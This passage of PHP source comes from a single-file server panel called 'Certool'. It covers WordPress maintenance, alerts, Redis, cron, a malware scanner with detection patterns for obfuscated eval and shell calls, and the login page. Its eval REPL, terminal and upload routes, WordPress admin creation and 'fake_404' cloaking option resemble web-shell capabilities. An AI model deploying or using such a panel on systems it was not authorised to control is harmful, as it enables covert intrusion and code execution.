->execute([$old, $new, $old, $new, $old, $new, $row['ID']]);
}
}
$opts = $pdo->query("SELECT option_id, option_name, option_value FROM {$pfx}options WHERE option_value LIKE " . $pdo->quote('%' . $old . '%'))->fetchAll();
foreach ($opts as $row) {
$val = $row['option_value'];
$serialized = is_string($val) && preg_match('/^[aOs]:/', $val);
$newval = $val;
if ($serialized) {
$un = @unserialize($val);
if ($un !== false || $val === 'b:0;') {
$newval = serialize(cern_wp_replace_recursive($un, $old, $new));
} else {
$newval = str_replace($old, $new, $val);
}
} else {
$newval = str_replace($old, $new, $val);
}
if ($newval !== $val) {
$changes[] = ['table' => 'options', 'name' => $row['option_name'], 'serialized' => $serialized];
if (!$dry) $pdo->prepare("UPDATE {$pfx}options SET option_value=? WHERE option_id=?")->execute([$newval, $row['option_id']]);
}
}
return ['ok' => 1, 'dry_run' => $dry, 'changes' => count($changes), 'details' => array_slice($changes, 0, 100), 'warning' => 'Review serialized options carefully'];
}
function cern_wp_checksum($d) {
$wp = $d['path'] ?? '';
if (!$wp) throw new Exception('WP path required');
cern_jail()->resolve($wp);
$ver = cern_wp_version($wp);
if (!function_exists('curl_init')) throw new Exception('cURL required for checksum API');
$url = 'https://api.wordpress.org/core/checksums/1.0/?version=' . urlencode($ver) . '&locale=en_US';
$ch = curl_init($url);
curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => 1]);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($err) throw new Exception('API error: ' . $err);
$json = json_decode($resp, true);
if (empty($json['checksums'])) throw new Exception('No checksums from API for version ' . $ver);
$missing = [];
$modified = [];
$ok = 0;
foreach ($json['checksums'] as $file => $expected) {
$full = rtrim($wp, '/\\') . '/' . str_replace('/', cern_sep(), $file);
if (!is_file($full)) { $missing[] = $file; continue; }
if (md5_file($full) !== $expected) $modified[] = $file;
else $ok++;
}
return ['version' => $ver, 'ok' => $ok, 'missing' => $missing, 'modified' => $modified, 'total' => count($json['checksums'])];
}
function cern_wp_staging($d) {
$wp = $d['path'] ?? '';
if (!$wp) throw new Exception('WP path required');
cern_jail()->resolve($wp);
$dest = $d['dest'] ?? (rtrim($wp, '/\\') . '_staging');
cern_jail()->resolve($dest, false);
$old_url = $d['old_url'] ?? '';
$new_url = $d['new_url'] ?? '';
if (!is_dir($dest)) {
if (!@mkdir($dest, 0755, true)) throw new Exception('Cannot create staging dir');
}
cern_rcopy($wp, $dest);
list($pdo, $pfx, $cfg) = cern_wp_pdo($wp);
$sqlf = rtrim($dest, '/\\') . cern_sep() . 'staging_dump.sql';
$out = "-- Certool staging dump\n";
$tables = $pdo->query('SHOW TABLES')->fetchAll(PDO::FETCH_COLUMN);
foreach ($tables as $t) {
$rows = $pdo->query('SELECT * FROM `' . str_replace('`', '', $t) . '`')->fetchAll(PDO::FETCH_ASSOC);
foreach ($rows as $row) {
$vals = array_map(function ($v) use ($pdo) { return $v === null ? 'NULL' : $pdo->quote($v); }, array_values($row));
$line = 'INSERT INTO `' . $t . '` (`' . implode('`,`', array_keys($row)) . '`) VALUES (' . implode(',', $vals) . ");\n";
if ($old_url && $new_url) $line = str_replace($old_url, $new_url, $line);
$out .= $line;
}
}
if (file_put_contents($sqlf, $out) === false) throw new Exception('Cannot write SQL dump — disk full or permission denied');
$new_db = $d['new_db_name'] ?? '';
if ($new_db) {
$scf = rtrim($dest, '/\\') . '/wp-config.php';
if (is_file($scf)) {
$c = file_get_contents($scf);
$c = preg_replace("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"][^'\"]*['\"]\s*\)/", "define('DB_NAME', '" . addslashes($new_db) . "')", $c, 1);
file_put_contents($scf, $c);
}
}
return ['ok' => 1, 'dest' => $dest, 'sql' => $sqlf, 'sql_size' => filesize($sqlf), 'tables' => count($tables)];
}
function cern_notify_send($msg) {
$results = [];
if (!function_exists('curl_init')) throw new Exception('cURL not available');
if (CERN_TELEGRAM_BOT && CERN_TELEGRAM_CHAT) {
$url = 'https://api.telegram.org/bot' . CERN_TELEGRAM_BOT . '/sendMessage';
$ch = curl_init($url);
curl_setopt_array($ch, [CURLOPT_POST => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_TIMEOUT => 15, CURLOPT_POSTFIELDS => http_build_query(['chat_id' => CERN_TELEGRAM_CHAT, 'text' => $msg])]);
$resp = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
$results['telegram'] = ['ok' => $code >= 200 && $code < 300, 'response' => substr($resp ?: '', 0, 500)];
} else {
$results['telegram'] = ['ok' => false, 'error' => 'Not configured'];
}
if (CERN_DISCORD_WEBHOOK) {
$ch = curl_init(CERN_DISCORD_WEBHOOK);
curl_setopt_array($ch, [CURLOPT_POST => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_TIMEOUT => 15, CURLOPT_HTTPHEADER => ['Content-Type: application/json'], CURLOPT_POSTFIELDS => json_encode(['content' => $msg])]);
$resp = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
$results['discord'] = ['ok' => $code >= 200 && $code < 300, 'response' => substr($resp ?: '', 0, 500)];
} else {
$results['discord'] = ['ok' => false, 'error' => 'Not configured'];
}
if (!CERN_TELEGRAM_BOT && !CERN_DISCORD_WEBHOOK) throw new Exception('No Telegram or Discord configured');
return $results;
}
function cern_notify_test($d) {
$msg = 'Certool v' . CERN_VERSION . ' test alert — ' . date('Y-m-d H:i:s');
return cern_notify_send($msg);
}
function cern_http_base_domain() {
$host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? '';
$host = strtolower(preg_replace('/:\d+$/', '', trim($host)));
if (strpos($host, 'www.') === 0) $host = substr($host, 4);
return $host;
}
function cern_fqdn($name) {
$name = trim(strtolower((string)$name));
$name = preg_replace('#^https?://#', '', $name);
$name = explode('/', $name)[0];
$name = explode(':', $name)[0];
if ($name === '' || $name === 'localhost' || $name === '_default_') return '';
if (strpos($name, '.') !== false) return $name;
$base = cern_http_base_domain();
if ($base && strpos($base, '.') !== false) {
if ($name === explode('.', $base)[0]) return $base;
return $name . '.' . $base;
}
return $name;
}
function cern_ssl_radar($d) {
$hosts = $d['domains'] ?? [];
if (empty($hosts)) {
$http = $_SERVER['HTTP_HOST'] ?? '';
if ($http) $hosts[] = preg_replace('/:\d+$/', '', $http);
$base = cern_http_base_domain();
if ($base) $hosts[] = $base;
foreach (cern_domains_list($d) as $dm) {
if (!empty($dm['domain'])) $hosts[] = $dm['domain'];
if (!empty($dm['fqdn'])) $hosts[] = $dm['fqdn'];
}
}
$norm = [];
foreach ($hosts as $h) {
$f = cern_fqdn($h);
if ($f !== '') $norm[$f] = true;
}
$hosts = array_keys($norm);
if (empty($hosts)) throw new Exception('No domains to check');
$results = [];
foreach ($hosts as $h) {
try {
$r = cern_ssl_check(['host' => $h]);
$r['host'] = $h;
$results[] = $r;
} catch (Throwable $e) {
$results[] = ['host' => $h, 'error' => $e->getMessage(), 'days_left' => -1];
}
}
usort($results, function ($a, $b) { return ($a['days_left'] ?? 999) <=> ($b['days_left'] ?? 999); });
return $results;
}
function cern_hosting_detect($d) {
$r = ['panel' => null, 'urls' => [], 'info' => []];
if (is_dir('/usr/local/cpanel')) {
$r['panel'] = 'cPanel/WHM';
$r['urls'] = ['whm' => 'https://' . gethostname() . ':2087', 'cpanel' => 'https://' . gethostname() . ':2083'];
$r['info']['version'] = trim(cern_exec('cat /usr/local/cpanel/version 2>/dev/null'));
} elseif (is_dir('/usr/local/psa') || is_file('/usr/sbin/plesk')) {
$r['panel'] = 'Plesk';
$r['urls'] = ['plesk' => 'https://' . gethostname() . ':8443'];
} elseif (is_dir('/usr/local/directadmin')) {
$r['panel'] = 'DirectAdmin';
$r['urls'] = ['da' => 'https://' . gethostname() . ':2222'];
} elseif (is_dir('/usr/local/hestia')) {
$r['panel'] = 'HestiaCP';
$r['urls'] = ['hestia' => 'https://' . gethostname() . ':8083'];
} elseif (is_dir('/usr/local/vesta')) {
$r['panel'] = 'VestaCP';
} elseif (is_dir('/www/server/panel')) {
$r['panel'] = 'aaPanel/BT';
$port = trim(cern_exec('cat /www/server/panel/data/port.pl 2>/dev/null')) ?: '8888';
$r['urls'] = ['bt' => 'http://' . gethostname() . ':' . $port];
} else {
$r['panel'] = 'Not detected';
$r['info']['hint'] = 'No known panel directories found';
}
$r['info']['user'] = get_current_user();
$r['info']['home'] = cern_home();
return $r;
}
function cern_redis_conn($d) {
if (!class_exists('Redis')) throw new Exception('Redis PHP extension not available');
$h = $d['host'] ?? '127.0.0.1';
$p = (int)($d['port'] ?? 6379);
$r = new Redis();
if (!$r->connect($h, $p, 2)) throw new Exception('Cannot connect to Redis at ' . $h . ':' . $p);
if (!empty($d['pass'])) $r->auth($d['pass']);
return $r;
}
function cern_redis_keys($d) {
$r = cern_redis_conn($d);
$pattern = $d['pattern'] ?? '*';
$keys = $r->keys($pattern);
$r->close();
return ['keys' => array_slice($keys, 0, 200), 'count' => count($keys)];
}
function cern_redis_get($d) {
$key = $d['key'] ?? '';
if ($key === '') throw new Exception('key required');
$r = cern_redis_conn($d);
$type = $r->type($key);
$val = $r->get($key);
$r->close();
return ['key' => $key, 'type' => $type, 'value' => $val];
}
function cern_redis_del($d) {
$key = $d['key'] ?? '';
if ($key === '') throw new Exception('key required');
$r = cern_redis_conn($d);
$n = $r->del($key);
$r->close();
return ['ok' => 1, 'deleted' => $n];
}
function cern_cron_visual_add($d) {
if (!cern_can_exec()) throw new Exception('Shell required for cron');
$min = $d['minute'] ?? '*';
$hour = $d['hour'] ?? '*';
$dom = $d['day_of_month'] ?? '*';
$mon = $d['month'] ?? '*';
$dow = $d['day_of_week'] ?? '*';
$cmd = trim($d['cmd'] ?? '');
if ($cmd === '') throw new Exception('cmd required');
$job = "$min $hour $dom $mon $dow $cmd";
return cern_cron_add(['job' => $job]);
}
function cern_repl_eval($d) {
if (!CERN_REPL_ENABLED) throw new Exception('REPL disabled — enable CERN_REPL_ENABLED in settings');
$code = $d['code'] ?? '';
if ($code === '') throw new Exception('Empty code');
@set_time_limit(10);
ob_start();
$result = null;
$err = null;
try {
$result = eval($code);
} catch (ParseError $e) {
$err = 'Parse: ' . $e->getMessage();
} catch (Throwable $e) {
$err = $e->getMessage();
}
$out = ob_get_clean();
return ['output' => $out, 'return' => $result !== null ? var_export($result, true) : null, 'error' => $err];
}
function cern_totp_setup($d) {
if (!empty($d['confirm']) && !empty($d['secret']) && !empty($d['code'])) {
if (!cern_totp_verify($d['secret'], $d['code'])) throw new Exception('Invalid confirmation code');
if (!is_writable(CERN_SELF)) throw new Exception('Panel not writable');
cern_write_config(['totp_secret' => $d['secret']]);
unset($_SESSION['cern_totp_pending']);
return ['ok' => 1, 'enabled' => true];
}
$secret = cern_totp_generate_secret(16);
$_SESSION['cern_totp_pending'] = $secret;
return ['ok' => 1, 'secret' => $secret, 'hint' => 'Add to Google Authenticator, then confirm with a code'];
}
function cern_totp_disable($d) {
$pass = $d['password'] ?? '';
if (!CERN_PASS_HASH || !password_verify($pass, CERN_PASS_HASH)) throw new Exception('Invalid password');
if (!is_writable(CERN_SELF)) throw new Exception('Panel not writable');
cern_write_config(['totp_secret' => '']);
return ['ok' => 1, 'enabled' => false];
}
// ─── Cache ─────────────────────────────────────────────────────────────────
function cern_cache_status($d) {
$s = ['opcache' => false, 'redis' => class_exists('Redis'), 'memcached' => class_exists('Memcached')];
if (function_exists('opcache_get_status')) {
$st = @opcache_get_status(false);
$s['opcache'] = (bool)$st;
$s['opcache_stats'] = $st['opcache_statistics'] ?? null;
}
return $s;
}
function cern_cache_reset($d) {
$t = $d['type'] ?? 'opcache';
$r = [];
if ($t === 'opcache' || $t === 'all') {
if (function_exists('opcache_reset')) { opcache_reset(); $r['opcache'] = 'reset'; }
else $r['opcache'] = 'not available';
}
return $r;
}
// ─── Security & Malware & Doctor ───────────────────────────────────────────
function cern_security_audit($d) {
$r = [];
if (cern_can_exec()) {
$ports = cern_exec('ss -tlnp 2>/dev/null');
if (!$ports || strpos($ports, 'not found') !== false) $ports = cern_exec('netstat -tlnp 2>/dev/null');
$r['open_ports'] = $ports ?: 'Cannot read ports (ss/netstat unavailable)';
} else {
$r['open_ports'] = 'Shell disabled — cannot enumerate ports';
}
$danger = ['exec', 'shell_exec', 'system', 'passthru', 'proc_open', 'popen', 'eval'];
$dis = cern_disabled_funcs();
$active = [];
foreach ($danger as $fn) {
if (!in_array($fn, $dis, true) && ($fn === 'eval' || function_exists($fn))) $active[] = $fn;
}
$r['php_dangerous'] = $active;
$r['disable_functions'] = implode(',', $dis) ?: 'none';
$r['open_basedir'] = ini_get('open_basedir') ?: 'none';
$r['expose_php'] = ini_get('expose_php');
$r['is_root'] = cern_is_root();
return $r;
}
function cern_malware_scan($d) {
$j = cern_jail();
$path = $j->resolve($d['path'] ?? $j->default_path());
$patterns = [
'eval\s*\(\s*base64_decode' => 10,
'eval\s*\(\s*gzinflate' => 10,
'eval\s*\(\s*str_rot13' => 8,
'preg_replace\s*\([^)]*\/e' => 9,
'assert\s*\(\s*\$_(GET|POST|REQUEST)' => 9,
'shell_exec\s*\(' => 5,
'system\s*\(\s*\$_(GET|POST)' => 10,
'create_function\s*\(' => 7,
'\\$\\w+\\s*=\\s*[\'"]assert[\'"]' => 8,
];
$hits = [];
$score = 0;
$scan_file = function ($file) use ($patterns, &$hits, &$score) {
if (!is_file($file) || !preg_match('/\.php/i', $file)) return;
$c = @file_get_contents($file, false, null, 0, 524288);
if (!$c) return;
foreach ($patterns as $pat => $wt) {
if (preg_match('/' . $pat . '/i', $c)) {
$hits[] = ['file' => $file, 'pattern' => $pat, 'weight' => $wt];
$score += $wt;
}
}
};
if (is_file($path)) $scan_file($path);
else {
$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS));
$n = 0;
foreach ($it as $fi) {
if (++$n > 2000) break;
$scan_file($fi->getPathname());
}
}
return ['hits' => $hits, 'score' => $score, 'risk' => $score > 20 ? 'high' : ($score > 5 ? 'medium' : 'low'), 'scanned_from' => $path];
}
function cern_doctor_run($d) {
$wp = $d['path'] ?? '';
$issues = [];
$fixes = [];
if ($wp) {
try {
$c = cern_wp_read_config($wp);
$cf = rtrim($wp, '/\\') . '/wp-config.php';
$raw = file_get_contents($cf);
if (preg_match('/WP_DEBUG.*true/i', $raw)) $issues[] = ['level' => 'warn', 'msg' => 'WP_DEBUG is enabled'];
if (preg_match("/table_prefix\s*=\s*'wp_'/", $raw)) $issues[] = ['level' => 'info', 'msg' => 'Default table prefix wp_'];
if (is_file(rtrim($wp, '/\\') . '/readme.html')) $issues[] = ['level' => 'warn', 'msg' => 'readme.html exposed'];
if (!is_writable(rtrim($wp, '/\\') . '/wp-content')) $issues[] = ['level' => 'error', 'msg' => 'wp-content not writable'];
} catch (Throwable $e) {
$issues[] = ['level' => 'error', 'msg' => $e->getMessage()];
}
}
$probe = cern_probe();
if (!$probe['writable_self']) $issues[] = ['level' => 'warn', 'msg' => 'Panel file not writable'];
if ($probe['shell_any'] && in_array('eval', explode(',', $probe['disable_functions']), true) === false) {
$issues[] = ['level' => 'info', 'msg' => 'Dangerous PHP functions may be enabled'];
}
return ['issues' => $issues, 'fixes' => $fixes, 'ok' => empty(array_filter($issues, function ($i) { return $i['level'] === 'error'; }))];
}
// ─── Domains ───────────────────────────────────────────────────────────────
function cern_domains_list($d) {
$doms = [];
$home = cern_home();
foreach ([$home . '/domains', $home . '/public_html', '/var/www', '/home'] as $sc) {
if (!@is_dir($sc)) continue;
foreach (@scandir($sc) ?: [] as $sub) {
if ($sub === '.' || $sub === '..') continue;
$fp = $sc . cern_sep() . $sub;
if (!is_dir($fp)) continue;
foreach (['public_html', 'htdocs', 'www', 'web'] as $wd) {
$dr = $fp . cern_sep() . $wd;
if (is_dir($dr)) {
$wp = is_file($dr . '/wp-config.php');
$fqdn = cern_fqdn($sub);
$doms[] = ['domain' => $fqdn ?: $sub, 'label' => $sub, 'fqdn' => $fqdn, 'docroot' => $dr, 'wordpress' => $wp, 'source' => 'scan'];
break;
}
}
}
}
if (cern_can_exec() && !cern_is_win()) {
$vh = cern_exec('apache2ctl -S 2>/dev/null || httpd -S 2>/dev/null');
if (preg_match_all('/namevhost\s+(\S+)/', $vh, $ms)) {
foreach ($ms[1] as $nm) {
$fq = cern_fqdn($nm);
if ($fq) $doms[] = ['domain' => $fq, 'label' => $nm, 'fqdn' => $fq, 'docroot' => '', 'wordpress' => false, 'source' => 'apache'];
}
}
}
$uniq = [];
foreach ($doms as $dm) {
$k = $dm['domain'] . '|' . $dm['docroot'];
if (!isset($uniq[$k])) $uniq[$k] = $dm;
}
return array_values($uniq);
}
// ─── Settings ──────────────────────────────────────────────────────────────
function cern_settings_get($d) {
return [
'lang' => $_SESSION['cern_lang'] ?? CERN_LANG_DEFAULT,
'theme' => $_SESSION['cern_theme'] ?? 'light',
'login_ip' => $_SESSION['cern_lip'] ?? '',
'login_time' => $_SESSION['cern_ltime'] ?? '',
'version' => CERN_VERSION,
'totp_enabled' => (bool)CERN_TOTP_SECRET,
'totp_required' => (bool)CERN_TOTP_SECRET,
'repl_enabled' => (bool)CERN_REPL_ENABLED,
'telegram_configured' => (bool)(CERN_TELEGRAM_BOT && CERN_TELEGRAM_CHAT),
'discord_configured' => (bool)CERN_DISCORD_WEBHOOK,
'notes' => CERN_NOTES,
'telegram_bot' => CERN_TELEGRAM_BOT ? (substr(CERN_TELEGRAM_BOT, 0, 8) . '...') : '',
'telegram_chat' => CERN_TELEGRAM_CHAT,
'discord_webhook' => CERN_DISCORD_WEBHOOK ? 'configured' : '',
'fake_404' => CERN_FAKE_404,
'ip_whitelist' => CERN_IP_WHITELIST,
'ip_blacklist' => CERN_IP_BLACKLIST,
'redis_ext' => class_exists('Redis'),
'probe' => cern_probe(),
];
}
function cern_settings_save($d) {
if (isset($d['lang'])) $_SESSION['cern_lang'] = $d['lang'];
if (isset($d['theme'])) $_SESSION['cern_theme'] = $d['theme'];
$file_vals = [];
if (isset($d['fake_404'])) $file_vals['fake_404'] = (bool)$d['fake_404'];
if (isset($d['ip_whitelist'])) $file_vals['ip_whitelist'] = $d['ip_whitelist'];
if (isset($d['ip_blacklist'])) $file_vals['ip_blacklist'] = $d['ip_blacklist'];
if (isset($d['lang_default'])) $file_vals['lang'] = $d['lang_default'];
if (isset($d['extra_roots']) && is_array($d['extra_roots'])) $file_vals['extra_roots'] = $d['extra_roots'];
if (isset($d['telegram_bot'])) $file_vals['telegram_bot'] = $d['telegram_bot'];
if (isset($d['telegram_chat'])) $file_vals['telegram_chat'] = $d['telegram_chat'];
if (isset($d['discord_webhook'])) $file_vals['discord_webhook'] = $d['discord_webhook'];
if (isset($d['notes'])) $file_vals['notes'] = $d['notes'];
if (isset($d['repl_enabled'])) $file_vals['repl_enabled'] = (bool)$d['repl_enabled'];
if (!empty($file_vals)) {
if (!is_writable(CERN_SELF)) throw new Exception('Panel file not writable');
cern_write_config($file_vals);
}
return ['ok' => 1];
}
// ─── Router ────────────────────────────────────────────────────────────────
function cern_route($action, $data) {
$map = [
'dashboard' => 'cern_dashboard', 'health' => 'cern_health',
'files.roots' => 'cern_files_roots', 'files.list' => 'cern_files_list', 'files.read' => 'cern_files_read',
'files.write' => 'cern_files_write', 'files.delete' => 'cern_files_delete', 'files.rename' => 'cern_files_rename',
'files.copy' => 'cern_files_copy', 'files.move' => 'cern_files_move', 'files.chmod' => 'cern_files_chmod',
'files.mkdir' => 'cern_files_mkdir', 'files.zip' => 'cern_files_zip', 'files.unzip' => 'cern_files_unzip',
'files.search' => 'cern_files_search', 'files.bookmark' => 'cern_files_bookmark',
'files.sync' => 'cern_files_sync', 'files.tail' => 'cern_files_tail', 'files.hash' => 'cern_files_hash',
'files.integrity_save' => 'cern_files_integrity_save', 'files.integrity_check' => 'cern_files_integrity_check',
'files.archive_list' => 'cern_files_archive_list',
'terminal' => 'cern_terminal',
'db.test' => 'cern_db_test', 'db.databases' => 'cern_db_databases', 'db.tables' => 'cern_db_tables',
'db.query' => 'cern_db_query', 'db.describe' => 'cern_db_describe', 'db.export' => 'cern_db_export',
'log.read' => 'cern_log_read', 'log.find' => 'cern_log_find',
'backup.create' => 'cern_backup_create', 'backup.list' => 'cern_backup_list',
'phpinfo' => 'cern_phpinfo',
'net.dns' => 'cern_net_dns', 'net.port' => 'cern_net_port', 'net.curl' => 'cern_net_curl', 'ssl.check' => 'cern_ssl_check', 'ssl.radar' => 'cern_ssl_radar',
'notify.test' => 'cern_notify_test',
'proc.list' => 'cern_proc_list', 'proc.kill' => 'cern_proc_kill',
'services.list' => 'cern_services_list',
'cron.list' => 'cern_cron_list', 'cron.add' => 'cern_cron_add', 'cron.delete' => 'cern_cron_delete', 'cron.visual_add' => 'cern_cron_visual_add',
'wp.scan' => 'cern_wp_scan', 'wp.config' => 'cern_wp_config', 'wp.admin_create' => 'cern_wp_admin_create',
'wp.plugins' => 'cern_wp_plugins', 'wp.themes' => 'cern_wp_themes', 'wp.security' => 'cern_wp_security',
'wp.repair' => 'cern_wp_repair', 'wp.search_replace' => 'cern_wp_search_replace', 'wp.checksum' => 'cern_wp_checksum', 'wp.staging' => 'cern_wp_staging',
'hosting.detect' => 'cern_hosting_detect',
'redis.keys' => 'cern_redis_keys', 'redis.get' => 'cern_redis_get', 'redis.del' => 'cern_redis_del',
'repl.eval' => 'cern_repl_eval',
'totp.setup' => 'cern_totp_setup', 'totp.disable' => 'cern_totp_disable',
'auth.status' => 'cern_auth_status',
'cache.status' => 'cern_cache_status', 'cache.reset' => 'cern_cache_reset',
'security.audit' => 'cern_security_audit', 'malware.scan' => 'cern_malware_scan', 'doctor.run' => 'cern_doctor_run',
'domains.list' => 'cern_domains_list',
'settings.get' => 'cern_settings_get', 'settings.save' => 'cern_settings_save',
];
if (!isset($map[$action])) throw new Exception('Unknown action: ' . $action);
$fn = $map[$action];
$result = $fn($data);
if ($result === null) return ['ok' => 1];
if (is_array($result) && !isset($result['ok']) && !array_key_exists('items', $result) && !array_key_exists('roots', $result)) {
return array_merge(['ok' => 1], $result);
}
return $result;
}
// ─── API handler ───────────────────────────────────────────────────────────
$is_api = isset($_GET['action']) || isset($_POST['action']);
if ($is_api) {
$action = $_GET['action'] ?? $_POST['action'] ?? '';
$public = ['login', 'auth.status'];
if ($action === 'auth.status') {
cern_json_out(cern_auth_status([]));
}
if ($action === 'login') {
$data = json_decode(file_get_contents('php://input'), true) ?: $_POST;
$r = cern_login($data['user'] ?? '', $data['pass'] ?? '', $data['totp'] ?? '');
if (!empty($r['ok'])) cern_json_out(['ok' => 1, 'csrf' => cern_csrf()]);
cern_json_out($r, 401);
}
if (!cern_logged_in()) cern_json_out(['ok' => 0, 'error' => 'Unauthorized'], 401);
$data = json_decode(file_get_contents('php://input'), true);
if ($data === null) $data = array_merge($_GET, $_POST);
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$csrf = $data['csrf'] ?? $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
if (!cern_verify_csrf($csrf)) cern_json_out(['ok' => 0, 'error' => 'CSRF invalid'], 403);
}
if ($action === 'phpinfo.full') {
header('Content-Type: text/html; charset=utf-8');
phpinfo();
exit;
}
if ($action === 'files.upload' || (isset($_FILES['upload']) && $action === 'files.upload')) {
$csrf = $_POST['csrf'] ?? $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
if (!cern_verify_csrf($csrf)) cern_json_out(['ok' => 0, 'error' => 'CSRF'], 403);
try {
$dest = cern_jail()->resolve($_POST['path'] ?? cern_jail()->default_path());
if (!is_dir($dest)) @mkdir($dest, 0755, true);
$f = $_FILES['upload'] ?? null;
if (!$f || !isset($f['tmp_name'])) throw new Exception('No upload');
$target = rtrim($dest, '/\\') . cern_sep() . basename($f['name']);
$chunk = isset($_POST['chunk']) ? (int)$_POST['chunk'] : 0;
$chunks = isset($_POST['chunks']) ? (int)$_POST['chunks'] : 0;
if ($chunks > 0) {
$tmp = $target . '.part';
$out = fopen($tmp, $chunk === 0 ? 'wb' : 'ab');
$in = fopen($f['tmp_name'], 'rb');
while ($buf = fread($in, 8192)) fwrite($out, $buf);
fclose($in);
fclose($out);
if ($chunk >= $chunks - 1) {
rename($tmp, $target);
cern_json_out(['ok' => 1, 'name' => basename($target), 'size' => filesize($target)]);
}
cern_json_out(['ok' => 1, 'chunk' => $chunk]);
}
if (!move_uploaded_file($f['tmp_name'], $target)) throw new Exception('Upload failed');
cern_json_out(['ok' => 1, 'name' => basename($target), 'size' => filesize($target)]);
} catch (Throwable $e) {
cern_json_out(['ok' => 0, 'error' => $e->getMessage()], 500);
}
}
if ($action === 'files.download' || $action === 'backup.download') {
$f = $data['path'] ?? '';
try { $f = cern_jail()->resolve($f); } catch (Throwable $e) { http_response_code(404); echo 'Not found'; exit; }
if ($f && is_file($f)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($f) . '"');
header('Content-Length: ' . filesize($f));
while (ob_get_level()) ob_end_clean();
readfile($f);
} else { http_response_code(404); echo 'Not found'; }
exit;
}
try {
$out = cern_route($action, $data ?: []);
cern_json_out($out);
} catch (Throwable $e) {
cern_json_out(['ok' => 0, 'error' => $e->getMessage()], 500);
}
}
// Chunked upload
if (isset($_FILES['upload']) && cern_logged_in()) {
$csrf = $_POST['csrf'] ?? $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
if (!cern_verify_csrf($csrf)) cern_json_out(['ok' => 0, 'error' => 'CSRF'], 403);
try {
$dest = cern_jail()->resolve($_POST['path'] ?? cern_jail()->default_path());
if (!is_dir($dest)) @mkdir($dest, 0755, true);
$f = $_FILES['upload'];
$target = rtrim($dest, '/\\') . cern_sep() . basename($f['name']);
$chunk = isset($_POST['chunk']) ? (int)$_POST['chunk'] : 0;
$chunks = isset($_POST['chunks']) ? (int)$_POST['chunks'] : 0;
if ($chunks > 0) {
$tmp = $target . '.part';
$out = fopen($tmp, $chunk === 0 ? 'wb' : 'ab');
$in = fopen($f['tmp_name'], 'rb');
while ($buf = fread($in, 8192)) fwrite($out, $buf);
fclose($in);
fclose($out);
if ($chunk >= $chunks - 1) {
rename($tmp, $target);
cern_json_out(['ok' => 1, 'name' => basename($target), 'size' => filesize($target)]);
} else cern_json_out(['ok' => 1, 'chunk' => $chunk]);
} else {
move_uploaded_file($f['tmp_name'], $target);
cern_json_out(['ok' => 1, 'name' => basename($target), 'size' => filesize($target)]);
}
} catch (Throwable $e) {
cern_json_out(['ok' => 0, 'error' => $e->getMessage()], 500);
}
}
// ─── Frontend ──────────────────────────────────────────────────────────────
if (!cern_logged_in()):
?><!DOCTYPE html>
<html lang="tr"><head>
<meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="robots" content="noindex,nofollow">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=DM+Sans:ital,opsz,wght@0,9..40,400;0,9..40,500;0,9..40,600;0,9..40,700&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
<title>Certool</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:'DM Sans',system-ui,sans-serif;background:linear-gradient(145deg,#e8eef5 0%,#f5f7fa 50%,#eef3f8 100%);color:#0f172a;min-height:100vh;display:flex;align-items:stretch}
body::before{content:'';position:fixed;inset:0;background-image:linear-gradient(rgba(13,148,136,.04) 1px,transparent 1px),linear-gradient(90deg,rgba(13,148,136,.04) 1px,transparent 1px);background-size:32px 32px;pointer-events:none}
.login-wrap{position:relative;z-index:1;display:flex;width:100%;min-height:100vh}
.login-brand{flex:1;display:flex;flex-direction:column;justify-content:center;padding:48px 56px;max-width:520px}
.login-brand h1{font-size:clamp(42px,6vw,64px);font-weight:700;letter-spacing:-1px;color:#0f172a;line-height:1}
.login-brand h1 span{color:#0d9488}
.login-brand .tagline{margin-top:16px;font-size:18px;color:#475569;font-weight:500}
.login-brand .ver{margin-top:32px;font-family:'JetBrains Mono',monospace;font-size:12px;color:#94a3b8}
.login-panel{flex:1;display:flex;align-items:center;justify-content:center;padding:32px}
.login-card{width:100%;max-width:400px;padding:36px 32px;background:rgba(255,255,255,.92);border:1px solid #cbd5e1;border-radius:16px;box-shadow:0 4px 24px rgba(15,23,42,.08),0 1px 3px rgba(15,23,42,.06);backdrop-filter:blur(8px)}
.login-card h2{font-size:20px;font-weight:600;margin-bottom:6px;color:#0f172a}
.login-card .hint{font-size:13px;color:#64748b;margin-bottom:28px}
.fd{margin-bottom:18px}.fd label{display:block;font-size:12px;font-weight:600;color:#475569;margin-bottom:6px;text-transform:uppercase;letter-spacing:.5px}
.fd input{width:100%;padding:11px 14px;background:#fff;border:1px solid #cbd5e1;border-radius:8px;color:#0f172a;font-size:14px;font-family:inherit;outline:none;transition:border-color .15s,box-shadow .15s}
.fd input:focus{border-color:#0d9488;box-shadow:0 0 0 3px rgba(13,148,136,.15)}
.btn-login{width:100%;padding:12px 16px;background:#0d9488;border:none;border-radius:8px;color:#fff;font-size:15px;font-weight:600;font-family:inherit;cursor:pointer;transition:background .15s,transform .1s}
.btn-login:hover{background:#0f766e}.btn-login:active{transform:scale(.99)}.btn-login:disabled{opacity:.6;cursor:not-allowed}
.err{color:#dc2626;text-align:center;font-size:13px;margin-top:14px;display:none;padding:8px;background:#fef2f2;border-radius:6px}
@media(max-width:768px){.login-brand{display:none}.login-panel{padding:24px 16px}}
</style></head><body>
<div class="login-wrap">
